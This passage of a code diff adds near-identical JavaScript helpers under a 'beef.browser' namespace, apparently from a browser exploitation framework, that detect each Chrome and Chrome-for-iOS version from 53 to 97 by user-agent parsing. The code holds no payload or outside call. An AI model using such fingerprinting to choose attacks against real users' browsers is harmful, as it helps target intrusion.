+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 53.
+     * @example: beef.browser.isC53iOS()
+     */
+    isC53iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 54.
+     * @example: beef.browser.isC54()
+     */
+    isC54: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 54.
+     * @example: beef.browser.isC54iOS()
+     */
+    isC54iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 55.
+     * @example: beef.browser.isC55()
+     */
+    isC55: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 55.
+     * @example: beef.browser.isC55iOS()
+     */
+    isC55iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 56.
+     * @example: beef.browser.isC56()
+     */
+    isC56: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 56.
+     * @example: beef.browser.isC56iOS()
+     */
+    isC56iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 57.
+     * @example: beef.browser.isC57()
+     */
+    isC57: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 57.
+     * @example: beef.browser.isC57iOS()
+     */
+    isC57iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 58.
+     * @example: beef.browser.isC58()
+     */
+    isC58: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 58.
+     * @example: beef.browser.isC58iOS()
+     */
+    isC58iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 59.
+     * @example: beef.browser.isC59()
+     */
+    isC59: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 59) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 59.
+     * @example: beef.browser.isC59iOS()
+     */
+    isC59iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 59) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 60.
+     * @example: beef.browser.isC60()
+     */
+    isC60: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 60) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 60.
+     * @example: beef.browser.isC60iOS()
+     */
+    isC60iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 60) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 61.
+     * @example: beef.browser.isC61()
+     */
+    isC61: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 61) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 61.
+     * @example: beef.browser.isC61iOS()
+     */
+    isC61iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 61) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 62.
+     * @example: beef.browser.isC62()
+     */
+    isC62: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 62) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 62.
+     * @example: beef.browser.isC62iOS()
+     */
+    isC62iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 62) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 63.
+     * @example: beef.browser.isC63()
+     */
+    isC63: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 63) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 63.
+     * @example: beef.browser.isC63iOS()
+     */
+    isC63iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 63) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 64.
+     * @example: beef.browser.isC64()
+     */
+    isC64: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 64) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 64.
+     * @example: beef.browser.isC64iOS()
+     */
+    isC64iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 64) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 65.
+     * @example: beef.browser.isC65()
+     */
+    isC65: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 65) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 65.
+     * @example: beef.browser.isC65iOS()
+     */
+    isC65iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 65) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 66.
+     * @example: beef.browser.isC66()
+     */
+    isC66: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 66) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 66.
+     * @example: beef.browser.isC66iOS()
+     */
+    isC66iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 66) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 67.
+     * @example: beef.browser.isC67()
+     */
+    isC67: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 67) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 67.
+     * @example: beef.browser.isC67iOS()
+     */
+    isC67iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 67) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 68.
+     * @example: beef.browser.isC68()
+     */
+    isC68: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 68) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 68.
+     * @example: beef.browser.isC68iOS()
+     */
+    isC68iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 68) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 69.
+     * @example: beef.browser.isC69()
+     */
+    isC69: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 69) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 69.
+     * @example: beef.browser.isC69iOS()
+     */
+    isC69iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 69) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 70.
+     * @example: beef.browser.isC70()
+     */
+    isC70: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 70) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 70.
+     * @example: beef.browser.isC70iOS()
+     */
+    isC70iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 70) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 71.
+     * @example: beef.browser.isC71()
+     */
+    isC71: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 71) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 71.
+     * @example: beef.browser.isC71iOS()
+     */
+    isC71iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 71) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 72.
+     * @example: beef.browser.isC72()
+     */
+    isC72: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 72) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 72.
+     * @example: beef.browser.isC72iOS()
+     */
+    isC72iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 72) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 73.
+     * @example: beef.browser.isC73()
+     */
+    isC73: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 73) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 73.
+     * @example: beef.browser.isC73iOS()
+     */
+    isC73iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 73) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 74.
+     * @example: beef.browser.isC74()
+     */
+    isC74: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 74) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 74.
+     * @example: beef.browser.isC74iOS()
+     */
+    isC74iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 74) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 75.
+     * @example: beef.browser.isC75()
+     */
+    isC75: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 75) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 75.
+     * @example: beef.browser.isC75iOS()
+     */
+    isC75iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 75) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 76.
+     * @example: beef.browser.isC76()
+     */
+    isC76: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 76) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 76.
+     * @example: beef.browser.isC76iOS()
+     */
+    isC76iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 76) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 77.
+     * @example: beef.browser.isC77()
+     */
+    isC77: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 77) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 77.
+     * @example: beef.browser.isC77iOS()
+     */
+    isC77iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 77) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 78.
+     * @example: beef.browser.isC78()
+     */
+    isC78: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 78) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 78.
+     * @example: beef.browser.isC78iOS()
+     */
+    isC78iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 78) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 79.
+     * @example: beef.browser.isC79()
+     */
+    isC79: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 79) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 79.
+     * @example: beef.browser.isC79iOS()
+     */
+    isC79iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 79) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 80.
+     * @example: beef.browser.isC80()
+     */
+    isC80: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 80) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 80.
+     * @example: beef.browser.isC80iOS()
+     */
+    isC80iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 80) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 81.
+     * @example: beef.browser.isC81()
+     */
+    isC81: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 81) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 81.
+     * @example: beef.browser.isC81iOS()
+     */
+    isC81iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 81) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 82.
+     * @example: beef.browser.isC82()
+     */
+    isC82: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 82) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 82.
+     * @example: beef.browser.isC82iOS()
+     */
+    isC82iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 82) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 83.
+     * @example: beef.browser.isC83()
+     */
+    isC83: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 83) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 83.
+     * @example: beef.browser.isC83iOS()
+     */
+    isC83iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 83) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 84.
+     * @example: beef.browser.isC84()
+     */
+    isC84: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 84) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 84.
+     * @example: beef.browser.isC84iOS()
+     */
+    isC84iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 84) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 85.
+     * @example: beef.browser.isC85()
+     */
+    isC85: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 85) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 85.
+     * @example: beef.browser.isC85iOS()
+     */
+    isC85iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 85) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 86.
+     * @example: beef.browser.isC86()
+     */
+    isC86: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 86) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 86.
+     * @example: beef.browser.isC86iOS()
+     */
+    isC86iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 86) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 87.
+     * @example: beef.browser.isC87()
+     */
+    isC87: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 87) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 87.
+     * @example: beef.browser.isC87iOS()
+     */
+    isC87iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 87) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 88.
+     * @example: beef.browser.isC88()
+     */
+    isC88: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 88) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 88.
+     * @example: beef.browser.isC88iOS()
+     */
+    isC88iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 88) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 89.
+     * @example: beef.browser.isC89()
+     */
+    isC89: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 89) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 89.
+     * @example: beef.browser.isC89iOS()
+     */
+    isC89iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 89) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 90.
+     * @example: beef.browser.isC90()
+     */
+    isC90: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 90) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 90.
+     * @example: beef.browser.isC90iOS()
+     */
+    isC90iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 90) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 91.
+     * @example: beef.browser.isC91()
+     */
+    isC91: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 91) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 91.
+     * @example: beef.browser.isC91iOS()
+     */
+    isC91iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 91) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 92.
+     * @example: beef.browser.isC92()
+     */
+    isC92: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 92) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 92.
+     * @example: beef.browser.isC92iOS()
+     */
+    isC92iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 92) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 93.
+     * @example: beef.browser.isC93()
+     */
+    isC93: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 93) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 93.
+     * @example: beef.browser.isC93iOS()
+     */
+    isC93iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 93) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 94.
+     * @example: beef.browser.isC94()
+     */
+    isC94: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 94) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 94.
+     * @example: beef.browser.isC94iOS()
+     */
+    isC94iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 94) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 95.
+     * @example: beef.browser.isC95()
+     */
+    isC95: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 95) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 95.
+     * @example: beef.browser.isC95iOS()
+     */
+    isC95iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 95) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 96.
+     * @example: beef.browser.isC96()
+     */
+    isC96: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 96) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 96.
+     * @example: beef.browser.isC96iOS()
+     */
+    isC96iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 96) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 97.
+     * @example: beef.browser.isC97()
+     */
+    isC97: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 97) ? true : false);
+    },
+
+    /**
